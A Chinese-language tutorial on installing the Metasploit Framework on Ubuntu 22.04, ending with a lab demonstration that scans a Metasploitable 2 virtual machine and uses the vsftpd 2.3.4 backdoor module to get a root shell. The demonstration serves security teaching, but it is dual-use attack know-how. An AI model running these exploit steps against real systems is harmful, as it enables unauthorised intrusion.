如何在 Ubuntu 22.04 上安装 Metasploit 框架
作为网络管理员,扫描安全漏洞并尽快修补它们非常重要。 Metasploit 是一个开源框架,可帮助识别威胁和漏洞。它发现并利用计算机系统、网络和应用程序中的漏洞。它允许安全专业人员模拟现实世界的攻击并测试您组织的安全状况。它带有许多漏洞,也允许您创建自己的漏洞。
在本教程中,您将学习如何在 Ubuntu 22.04 系统上安装 Metasploit 框架并进行基本测试。
先决条件
运行 Ubuntu 22.04 且至少具有 4 GB RAM 的计算机。
具有 sudo 权限的非 root 用户。
简单的防火墙 (UFW) 已启用并正在运行。
一切都更新了。
$ sudo apt update && sudo apt upgrade
您的系统需要的软件包很少。
$ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
其中一些软件包可能已经安装在您的系统上。
第 1 步 - 安装 Nmap
Metasploit 所需的最常用工具之一是 Nmap,不幸的是它没有包含在源代码中。我们可以使用其源代码安装它,也可以安装二进制文件,这是一个相当更新的可用版本。我们将使用 Ubuntu 软件包存储库来安装 Nmap 二进制文件。
$ sudo apt install -y nmap
我们将向您展示三种安装 Metasploit 的方法。第一种方法是使用 Nightly 安装程序 shell 脚本。第二种方式是通过编译源码的方式安装。第三种方法是直接获取 Deb 包并使用它来安装 Metasploit。无论您使用哪种方式,您都需要先安装 Nmap,因为它不随 Metapsploit 一起提供。
第 2 步 - 使用 Nightly Installer 安装 Metasploit
使用 Nightly 安装程序脚本安装 Metasploit 非常简单。它随 Ruby 和 PostgreSQL 9.2 一起提供,并与 APT 包管理器集成。
创建一个临时目录以下载 Metasploit 安装程序脚本并切换到该目录。
$ mkdir msf-install && cd ./msf-install
下载安装程序脚本并将文件重命名为 msfinstall
。
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
设置脚本的755权限。
$ chmod 755 msfinstall
运行脚本。
$ sudo ./msfinstall
该脚本将首先从Metasploit的服务器导入签名密钥,然后将Metasploit的存储库地址复制到/etc/apt/sources.list.d/
目录,最后下载并安装Metasploit包使用 APT 并为其设置 PATH 变量。
运行 Metasploit 控制台脚本来启动。
$ cd ~
$ msfconsole
第一次使用该脚本时,它将启动安装向导并询问您是否要创建新数据库。
** Welcome to Metasploit Framework Initial Setup **
Please answer a few questions to get started.
Would you like to use and setup a new database (recommended)? y
输入 y
,然后按 Enter 键继续。这将创建一个数据库并将其数据存储在 ~/.msf4/db
目录中。
Running the 'init' command for the database:
Creating database at /home/navjot/.msf4/db
Creating db socket file at /tmp
Starting database at /home/navjot/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf
Stopping database at /home/navjot/.msf4/db
Starting database at /home/navjot/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful
** Metasploit Framework Initial Setup Complete **
然后,您将进入 Metasploit 控制台,该控制台应如下所示。
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
.;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'. ##########
.0MMMMMMMMMMMMMMMMWc #+# #+#
;0MMMMMMMMMMMMMMMo. +:+
.dNMMMMMMMMMMMMo +#++:++#+
'oOWMMMMMMMMo +:+
.,cdkO0K; :+: :+:
:::::::+:
Metasploit
=[ metasploit v6.4.1-dev- ]
+ -- --=[ 2405 exploits - 1239 auxiliary - 422 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
检查数据库状态。
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
这确认它已正确连接到 PostgreSQL 数据库并且工作正常。
退出控制台。
msf6 > exit
第 3 步 - 使用源代码安装 Metasploit
安装先决条件
安装 Metasploit 所需的软件包。
$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev
安装 Git。它可能已经在您的服务器上可用。
$ sudo apt install -y git
安装 PostgreSQL
安装 PostgreSQL。 Ubuntu 22.04 默认附带 PostgreSQL 14,这也是我们将使用的。
$ sudo apt install -y postgresql postgresql-contrib
检查 PostgreSQL 服务的状态。
$ sudo systemctl status postgresql
您应该看到以下输出,确认 PostgreSQL 正在运行。
? postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago
Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 5984 (code=exited, status=0/SUCCESS)
CPU: 1ms
Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.
配置 PostgreSQL
切换到 PostgreSQL 用户。
$ sudo -i -u postgres
为 Metasploit 创建 PostgreSQL 角色。系统将提示您设置密码。
$ createuser msfuser -S -R -P
为 Metasploit 创建一个 PostgreSQL 数据库,并将所有者设置为我们创建的用户。
$ createdb msfdb -O msfuser
退出 PostgreSQL 帐户。
$ exit
打开 /etc/postgresql/14/main/pg_hba.conf 文件进行编辑。
$ sudo nano /etc/postgresql/14/main/pg_hba.conf
在 host all all 127.0.0.1/32 scram-sha-256
行下方添加以下行。
....
host all all 127.0.0.1/32 scram-sha-256
host "msfdb" "msfuser" 127.0.0.1/32 md5
完成后按 Ctrl + X 并在出现提示时输入 Y 来保存文件。
安装 Ruby 版本管理器 (RVM)
Metasploit 需要 Ruby 进行安装。我们将使用 Ruby Version Manager (RVM) 来安装 Ruby 和 Gems。
导入 RVM GPG 密钥。
$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
使用curl下载RVM安装脚本。
$ \curl -sSL https://get.rvm.io -o rvm.sh
安装稳定版本的 RVM。
$ cat rvm.sh | bash -s stable
从安装 RVM 脚本的目录获取 RVM 脚本。
$ source ~/.rvm/scripts/rvm
下载Metasploit
切换到主目录。
$ cd ~
从 GitHub 下载 Metasploit 的源代码。
$ git clone https://github.com/rapid7/metasploit-framework.git
切换到Metasploit目录。
$ cd metasploit-framework
切换到目录时您将看到以下说明。
Required ruby-3.0.5 is not installed.
To install do: 'rvm install "ruby-3.0.5"'
这里提到Metasploit框架所需的Ruby版本是3.0.5。您还可以通过运行以下命令来确认。
$ cat .ruby-version
3.0.5
安装红宝石
这是棘手的部分。 Ubuntu 22.04 支持 OpenSSL 3,而 Ruby 3.0.x 仅适用于 OpenSSL 1.1。这意味着我们无法以通常的方式安装它。最好的解决方法是下载 OpenSSL 1.1 的源代码,构建它,然后使用它来安装 Ruby。这不会影响服务器上的任何其他应用程序。
获取 OpenSSL 1.1。您可以从 OpenSSL 1.1 源页面查看可用的最新版本。
$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz
提取下载的存档。
$ tar zxf openssl-1.1.1w.tar.gz
切换到解压后的目录。
$ cd openssl-1.1.1w
配置源。
$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w
运行 make 命令。
$ make
再次运行make命令进行测试。
$ make tests
安装 OpenSSL 1.1.1w。
$ make install
将 SSL certs 目录配置为指向 /etc/ssl/certs
目录并删除原始目录。
$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs
切换回 Metasploit 目录。
$ cd ~/metasploit-framework
安装红宝石。
$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w
Checking requirements for ubuntu.
Installing requirements for ubuntu.
Updating system
Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3.....
........................
Install of ruby-3.0.5 - #complete
Ruby was built without documentation, to build it run: rvm docs generate-ri
安装Metasploit
切换到Metasploit目录。
$ cd ~/metasploit-framework
安装捆绑器 Gem。
$ gem install bundler
安装必要的 Ruby Gems。
$ bundle install
启动 Metasploit 控制台。
$ ./msfconsole
您应该看到类似的输出。
Metasploit tip: You can use help to view all available commands
__________________
< Shells are cool. >
------------------
\
\
\
\
\ ?????????
???????????
????????????
???????????????
??????????????????
?????????????????????
???????????????????????
???????????????????????
?????????????????????
???????????????????????? ??????
?????????????????????? ????????????
?????????????????? ??????????????
????????????????????????????????????
??????????????????? ????????
??????????????????? ?????? ?
?????????????????? ?? ????
???????????????? ???
?????? ????????? ?
??????? ????????
??????? ?????????
????????? ?????????
????????? ??????????
??????? ???????
=[ metasploit v6.4.2-dev-44ba1b5082 ]
+ -- --=[ 2408 exploits - 1240 auxiliary - 422 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
测试数据库连接。
msf6 > db_status
[*] postgresql selected, no connection
连接到我们之前创建的数据库。
msf6 > db_connect msfuser:[email :5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb
验证数据库状态。
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.
退出控制台。
msf6 > exit
配置 Metasploit 数据库设置
在重复使用 Metasploit 控制台期间,数据库连接不会持续。为了使其永久化,我们需要将其保存到 ~/.msf4
目录中的文件中。
在 ~/.msf4/
目录中创建文件 database.yml
。
$ touch ~/.msf4/database.yml
打开它进行编辑。
$ nano ~/.msf4/database.yml
将以下代码粘贴到其中。
production:
adapter: postgresql
database: msfdb
username: msfuser
password: [PASSWORD]
host: 127.0.0.1
port: 5432
pool: 75
timeout: 5
完成后按 Ctrl + X 并在出现提示时输入 Y 来保存文件。
再次启动控制台。
$ ./msfconsole
检查数据库连接状态。
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql.
这确认 Metasploit 已成功连接到 PostgreSQL 数据库。
第 4 步 - 使用二进制包安装 Metasploit
访问 Metasploit 的 APT 存储库页面,并从页面底部获取最新 Metasploit deb 包的 URL。在撰写本文时,最新的可用版本是 6.4.1+20240326102606。
使用 wget
命令下载软件包。
$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb
安装软件包。
$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb
通过运行 Metasploit 控制台命令继续安装。
$ msfconsole
按照与步骤 1 相同的方式继续完成 Metasploit 的安装。
第 5 步 - 测试 Metasploit
启动 Metasploit 控制台时出现的顶部横幅可能会很刺耳,可以使用 -q 选项将其关闭。
$ msfconsole -q
这样您将被直接带到控制台。
msf6 >
要列出所有可用命令,请在控制台上运行 help
。
msf6 > help
您将得到以下输出。
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
debug Display information useful for debugging
exit Exit the console
features Display the list of not yet released features that can be opted in to
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
load Load a framework plugin
quit Exit the console
repeat Repeat a list of commands
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
tips Show a list of useful productivity tips
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
.........................................................................
要列出所有可用的漏洞,请运行以下命令。
msf6 > show exploits
您应该得到类似的输出。
Metasploit 还通过以下命令提供特定于工具的文档。您可以使用它来了解有关特定漏洞如何工作的更多信息。我们将检查 xorg_x11_server 漏洞利用的工作原理。
msf6 > info xorg_x11_server
您将得到以下输出。
msf6 > info exploit/aix/local/xorg_x11_server
Name: Xorg X11 Server Local Privilege Escalation
Module: exploit/aix/local/xorg_x11_server
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2018-10-25
Provided by:
Narendra Shinde
Zack Flack <[email >
Module side effects:
config-changes
Available targets:
Id Name
-- ----
0 IBM AIX Version 6.1
=> 1 IBM AIX Version 7.1
2 IBM AIX Version 7.2
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
WritableDir /tmp yes A directory where we can write files
Payload information:
Description:
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
overwriting /etc/passwd.
...................................
让我们使用 Metasploit 来检查受感染计算机上的开放端口。在我们的教程中,我们将使用 Metasploitable 虚拟机。它是一台可用于学习目的的测试机器。我们使用的是 Metasploitable 2,它附带一个可下载的 VirtualBox 硬盘驱动器,您可以使用它来设置虚拟机,这就是我们用来执行测试的虚拟机。您还可以使用 Metasploitable 3,它是基于 Vagrant 的 VirtualBox 机器,需要不同类型的安装。
使用Nmap工具扫描开放端口。
msf6 > nmap -sV 192.168.31.36
根据您正在检查的机器,您应该会看到类似的输出。
msf6 > nmap -sV 192.168.31.36
[*] exec: nmap -sV 192.168.31.36
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds
现在我们有了可供利用的开放端口列表,让我们使用其中一个。我们将使用 vsftpd
服务来利用。在此之前,让我们在漏洞列表中搜索它以了解更多信息。
msf6 > search vsftpd
您将收到以下输出。
msf6 > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
接下来,我们只需复制漏洞的名称并使用以下命令即可使用它。这个命令让我们可以进入漏洞利用程序。
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
您将得到以下输出。
[*] No payload configured, defaulting to cmd/unix/interact
控制台提示符将更改为以下内容。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
接下来,使用 show options
命令检查漏洞利用要求。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
您将得到以下输出。
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
在这里您可以看到一些变量的当前设置。输出中的 RHOSTS
指定远程主机 IP,RPORT
指远程主机端口。设置远程主机 IP 以使该漏洞发挥作用。这将告诉它要瞄准哪台机器。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36
现在远程主机 IP 已配置,我们可以继续进行破解了。运行exploit
命令并等待攻击继续进行。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
您应该看到以下输出。
[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.36:21 - USER: 331 Please specify the password.
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530
您应该能够输入任何命令,它将在目标系统上运行,确认黑客攻击。要进行确认,请使用 ifconfig
命令获取网络详细信息。
ifconfig
您将得到以下输出,表明输出来自目标计算机,这意味着我们的漏洞利用有效。
eth0 Link encap:Ethernet HWaddr 08:00:27:88:8d:ae
inet addr:192.168.31.36 Bcast:192.168.31.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1671 errors:0 dropped:0 overruns:0 frame:0
TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:145408 (142.0 KB) TX bytes:142342 (139.0 KB)
Base address:0xd020 Memory:f0200000-f0220000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:274 errors:0 dropped:0 overruns:0 frame:0
TX packets:274 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:109881 (107.3 KB) TX bytes:109881 (107.3 KB)
这只是 Metasploit 可以做的事情之一。您可以使用它做更多的事情来查找漏洞,找出哪些机器是开放的并且容易受到攻击并修补它们。
第 6 步 - 更新 Metasploit
Metasploit 附带其更新脚本。如果您使用步骤 2 和步骤 4 安装,则只需运行以下命令即可更新 Metasploit。
$ sudo msfupdate
此外,同样的两种方法可以配置 APT 存储库,因此您无需运行脚本。每次运行sudo apt update && sudo apt update
时,Metasploit都会更新。
如果您从源代码安装 Metasploit,则必须手动更新它。切换到Metasploit框架目录。
$ cd ~/metasploit-framework
首先,为 Git 设置一些变量。这只是一次性过程。
$ git config --global user.name "YourName"
$ git config --global user.email "[email "
现在,您可以使用以下命令运行更新。
$ ./msfupdate
为了避免一次又一次运行此命令,您可以设置一个 cron 作业来自动更新它。运行以下命令启动 Crontab 编辑器。
$ crontab -e
系统会询问您使用哪个编辑器。
no crontab for navjot - using an empty one
Select an editor. To change later, run 'select-editor'.
1. /bin/nano <---- easiest
2. /usr/bin/vim.basic
3. /usr/bin/vim.tiny
4. /bin/ed
Choose 1-4 [1]: 1
如果您想使用 nano 编辑器,请选择 1。这就是我们将要使用的。
接下来,粘贴以下代码以启用 Metasploit 的自动更新。
0 1 * * * /home/<username>/metasploit-framework/msfupdate > /dev/null 2>&1
这将在每天凌晨 1 点运行更新脚本。完成后按 Ctrl + X 并在出现提示时输入 Y 来保存文件。
就是这样。这将使您的 Metasploit 保持更新,无需任何干预。
第 7 步 - 卸载 Metasploit
如果您使用步骤 2 或 4 安装了 Metasploit,则要删除 Metasploit,只需运行以下命令。
$ sudo apt autoremove --purge metasploit-framework
但是,如果您使用源代码安装它,那么要删除 Metasploit,您需要运行一系列命令。
$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gem
打开 .bashrc
文件进行编辑。
$ nano ~/.bashrc
从文件底部删除以下行。
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"
最后但并非最不重要的一点是,如果不需要 PostgreSQL,请删除它。
完成后按 Ctrl + X 并在出现提示时输入 Y 来保存文件。
打开 .bash_profile
进行编辑。
$ nano ~/,bash_profile
从文件底部删除以下行。
[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
完成后按 Ctrl + X 并在出现提示时输入 Y 来保存文件。
打开 .profile
文件进行编辑。
$ nano ~/.profile
从文件底部删除以下代码。
# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
完成后按 Ctrl + X 并在出现提示时输入 Y 来保存文件。
获取文件以重新加载更改。
$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profile
删除 Metasploit 目录。
$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4
如果不再需要 PostgreSQL,请将其卸载。
$ sudo apt autoremove --purge postgresql postgresql-contrib
卸载 OpenSSL 1.1.1。以下命令将卸载软件包、清理目录并删除下载的存档。
$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gz
结论
关于在 Ubuntu 22.04 系统上安装 Metasploit 框架以及如何执行一些基本操作的教程到此结束。如果您有任何疑问,请在下面的评论中发表。